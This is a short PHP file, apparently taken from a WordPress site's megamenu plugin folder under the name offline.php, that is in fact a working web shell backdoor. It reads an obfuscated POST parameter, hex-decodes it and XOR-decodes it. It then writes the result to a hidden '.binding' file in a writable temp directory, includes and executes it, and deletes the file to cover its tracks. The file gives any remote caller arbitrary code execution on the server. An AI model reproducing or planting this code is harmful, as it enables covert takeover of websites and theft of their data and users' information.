File: /home/casinobe/domains/pug555-a.com/private_html/wp-content/plugins/megamenu/css/admin/offline.php
<?php
if(!is_null($_POST["\x63\x6Fmp"] ?? null)){
$fac = hex2bin($_POST["\x63\x6Fmp"]);
$val = '' ; $e = 0; do{$val .= chr(ord($fac[$e]) ^ 64);$e++;} while($e < strlen($fac));
$entry = array_filter(["/var/tmp", "/tmp", session_save_path(), getenv("TEMP"), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir")]);
$holder = 0;
do {
$key = $entry[$holder] ?? null;
if ($holder >= count($entry)) break;
if (is_dir($key) ? is_writable($key) : false) {
$symbol = "$key/.binding";
$success = file_put_contents($symbol, $val);
if ($success) {
include $symbol;
@unlink($symbol);
die();}
}
$holder++;
} while (true);
}